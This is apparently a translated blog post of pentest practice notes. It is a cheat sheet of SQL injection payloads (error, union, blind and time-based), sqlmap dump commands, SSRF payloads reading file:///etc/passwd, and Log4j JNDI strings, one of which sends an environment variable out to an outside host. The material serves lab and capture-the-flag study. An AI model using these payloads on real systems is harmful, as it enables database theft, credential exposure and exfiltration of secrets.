Pentest Practice — SQL Injection

[ Error Based SQL Injection]

1. DB name

' and db_name() > 1 -- -

' and db_name() > '1' -- -

2. Table name

' having 1=1 -- -

=> Table name: members

=> First column name: num

3. Column name

' group by (num) -- -

=> Second column name: user_id

' group by num,user_id -- -

=> Third column name: passwd

4. Data extraction

' or 1 in (select user_id from members) -- -

' or 1 in (select user_id from members where user_id not in ('value to exclude')) --

' or 1 in (select 'a' + cast(count(*) as varchar(100)) from members) -- -

[UNION BASED SQL INJECTION]

1. Number of columns

' UNION SELECT NULL,NULL,NULL -- -

1. SYSOBJECTS -> table name: name

2. SYSCOLUMNS -> column name: name

3. information_schema.tables -> table name: table_name

4. information_schema.columns -> table name: table_name, column name: column_name

2. Data leakage

' union select 1,2,3,4,table_name from information_schema.tables -- -

' union select 1,2,3,4,column_name from information_schema.columns where table_name='members' -- -

' union select 1,2,3,user_id,passwd from members -- -

[BLIND BASED SQL INJECTION]

TRUE : admin' and 1=1 -- -

FALSE : admin' and 1=2 -- -

select * from address where addr='ChangnyeongEup' and 1=1 -- - always true

substring(), ascii(), char()

substring('admin', 1,1) => 'a'

substring('admin'2,3) => 'dmi'

select * from address where addr='ChangnyeongEup' and 'a'=substring('admin',1,1) -- - True

select * from address where addr='ChangnyeongEup' and 'a'<substring((SELECT top 1 table_name from information_schema.tables),1,1) -- -

2 AND CHAR(119)=SUBSTRING(database(), 1, 1) -> returns a value when true

[TIME BASED SQL INJECTION]

'; if 1=1 wait

[SQLMAP]

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id --level =3 --dbs : check the database info

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" --tables : leak the database's tables

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" -T "table_name" --columns : query the table's columns

sqlmap -u "URL" --data "post_id=1&up_type=like" -p post_id -D "database_name" -T "table_name" -C "colum_name, column_name" --dump : query the values of the columns listed in colum_name.

[HASHCAT]

hash-identifier : a tool to identify what kind of hash a value is

hashcat : hash cracking tool

[SSRF]

http://localhost/

http://127.0.0.1/

file:///etc/passwd

http://0xa.0.0.100

http://10.100

http://0xa.0x00.0x00.0x1

http://0xa000064

http://167772260

[url:file:///flag]

[Log4j]

${jndi:dns://google.com/flag=${env:FLAG}}

${jndi:${env:FLAG}}

---

Original (Korean): tistory — published 2023-01-04, migrated to this blog. This translation was generated with the help of AI.